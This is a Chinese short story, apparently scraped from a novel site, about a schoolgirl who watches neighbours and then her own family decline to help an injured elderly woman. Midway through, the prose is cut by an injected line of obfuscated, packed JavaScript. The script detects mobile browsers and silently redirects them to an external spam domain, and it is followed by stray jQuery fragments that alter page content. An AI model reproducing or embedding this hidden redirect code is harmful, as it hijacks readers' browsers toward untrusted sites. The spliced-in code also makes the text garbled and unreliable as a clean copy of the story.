时序入秋,天候一日凉过一日。街巷两旁的行道树叶子半黄半绿,傍晚的风穿过窄窄的老巷,裹挟着街边糖炒栗子淡淡的甜香。这条老巷住的大多是相熟多年的邻里,平日里谁家做了吃食,都会互相递上一碗,见面便是笑语寒暄,在外人眼中,是一派烟火融融的好去处。
周五放学,放学的孩子三三两两背着书包,沿着柏油路往巷子深处走。裴筠安与晚禾并肩走在人群末尾,书包带子压在肩头,沉甸甸坠着肩膀。两人慢慢走着,说着学校课堂上的琐事,夕阳把两个少女的影子,长长铺在地面。
转过巷口拐角,便是回家的必经之路。
巷口的老墙根下围了零零散散几个人。没有喧哗争吵,只是一圈人安安静静站着,低声交头接耳。
地上坐着一位白发的老婆婆,蓝布褂子,裤脚沾了尘土。不知是脚下打滑还是被石子绊到,老人重重摔在水泥地上,膝盖磕破了,暗色的血慢慢浸透裤料,顺着小腿流到地面,浅浅晕开一小片。老人撑着地面想要起身,身子晃了晃,又无力坐回地上,低声呻吟。
围拢过来的邻里不少,有大爷提着菜篮子,有接孩子放学的妇人,人人都看见了老人狼狈的模样,却没有一个人往前迈出一步伸手去扶。大家就隔着一小段距离站定,脸上带着几分为难,彼此对视。
“看着摔得不轻啊。”
“是啊,这岁数摔一跤可不得了。”
议论声轻轻浮在晚风里,话语里满是同情,脚下却都钉在原地。
裴筠安脚步下意识停住,本能便想要往前跨,伸手去搀起那位老人。她的心思纯粹,只看见老人家痛苦的模样。
手腕却被身旁的晚禾轻轻攥住。晚禾的指尖微凉,力气不大,却稳稳拉住了她,没有出声,只是轻轻摇了摇头。
裴筠安愣了愣,脚步便顿在了原地。
周遭依旧是温和的闲谈,没有人厉声呵斥,也没有人冷眼嘲讽,可那些细碎的话语顺着晚风飘进耳朵。
“好心未必有好报,多一事不如少一事。”
“家里还有孩子要接,摊上事可怎么说得清。”
没有人明说会被讹诈,可所有人心底都揣着那一层顾虑。人人都流露善意的神色,叹息老人境遇凄惨,却没有谁愿意做那个伸出手的人。
有路过的熟人看见站在人群外的裴筠安,还笑着同她搭话:“筠安也放学啦,快早些回家,家里该做好晚饭了。”语气如常,仿佛身侧这一幕,不过是巷子里一桩无关紧要的闲事。
不多时,老人的家属匆匆闻讯赶来。见到坐在地上受伤的老人,手忙脚乱围上去搀扶,忙着查看伤势,匆匆送往医院。围观的人群这才慢慢散开,各自归家买菜做饭,方才那一幕,好似只是傍晚一段转瞬即逝的插曲。
整条巷子很快又恢复往日的平和,小贩的吆喝声远远传来,栗子的甜香依旧弥漫在空气当中。
两人接着往家走,一路都没有多说什么。夕阳已经沉落,天边染开淡淡的灰紫。
走到裴家楼下,远远便闻见饭菜的香气,窗户透出暖黄的灯光。家中大门虚掩,里面传来爷爷奶奶说笑的声音,锅碗瓢盆轻碰,一派安安稳稳的居家温馨。
推开门进屋,热气扑面而来。饭桌上已经摆好了几样家常菜,炖萝卜,煎豆腐,还有一小碟卤味。弟弟早就扔下书包,趴在茶几边上,拆开一包零食吃得津津有味。
母亲接过裴筠安肩上的书包,顺手挂在玄关衣架上,笑容柔和:“回来得正好,洗洗手就开饭。方才巷口那边出事你看见了吧?”
裴筠安一边拧开水龙头冲洗掌心,水流哗哗淌过手指,轻轻“嗯”了一声。
“街上看热闹的人不少,咱们看看就好。”母亲一边摆放碗筷,语气平淡家常,仿佛只是在叮嘱孩子路上注意车马,“外面的事情,不要轻易往前凑,安分守己,管好自家便是。”
奶奶端着盛好的饭碗走过来,也跟着接话,眉眼依旧和蔼:“世道复杂,小姑娘心肠软是好事,可也不能太傻。有些忙,是万万不能随便帮的。”
这些话说得温温柔柔,没有半句凶狠的训诫,更像是长辈对晚辈周全妥帖的爱护。
裴筠安擦干净手,坐到餐桌边。暖融融的灯光笼罩一桌饭菜,家人谈笑风生,聊街坊邻里的琐事,聊弟弟今天在学校得到老师表扬。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926788|213550||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没有人深入去讨论那位摔倒老人的疼痛,也没有人去分辨何为道义何为自保,只把明哲保身,当作保全自己的处世良方。
晚饭吃到一半,电视打开,晚间新闻的声音低低的流淌在屋内。屏幕里在播报一桩民事纠纷的结果,声音不算响亮,字句断断续续飘过来。
一家人夹菜吃饭,偶尔随意瞟两眼电视画面。新闻里法官陈述判决的理由,隔着一层荧屏,那几句话轻飘飘落在喧嚣的晚饭声里。
“他摔倒在地,与你本无干系,若非是你所为,你又为何要上前搀扶?”
话音转瞬淹没在碗筷碰撞、闲谈说笑之间。
在座的家人,有人轻轻点头,低声附和一句:“可不是这个道理。”
没有激烈的争辩,没有义愤填膺的怒骂,仅仅是寻常晚饭桌上,随口的一句认同。
裴筠安捏着筷子,指尖微微一僵。碗里的萝卜炖得软烂温热,可心口像是被晚风钻进来,泛起一层淡淡的寒凉。
她悄悄侧过头望向窗外,窗外的巷口已经隐入暮色,方才地上那一点浅浅血色,早已被夜色吞没。
弟弟全然没有察觉姐姐神色细微的变化,举着筷子,吵嚷着要吃盘中仅剩的几块卤味。长辈笑着应许,把肉块尽数拨到弟弟碗中。
“筠安,你是姐姐,少吃两口无妨。”奶奶笑着说道,“让着弟弟些。”
裴筠安收回目光,垂下眼帘,将方才巷口所见,电视听闻,那一团说不清道不明的郁结,悄悄压进心底。她点点头,安静扒拉碗中的米饭。
满室灯火可亲,饭菜温热,笑语融融。看上去,这便是一户再和睦不过的寻常人家。
晚禾吃完自家晚饭,隔着单元楼的窗户,遥遥望了一眼裴家亮着光的窗子。她的家中晚饭桌上,父母也同样提起巷口摔倒老人一事,只是说法全然不同。可她知道,那些道理,她不便跑去裴家诉说。人与人心里的标尺,本就各不相同。
夜色渐深,晚饭结束。裴筠安照例起身,收拾桌上的碗碟,走进厨房清洗。水龙头哗哗流水,泡沫浮在瓷碗表面。窗户外,巷子里的路灯次第亮起,昏黄的光晕铺在空空荡荡的路上。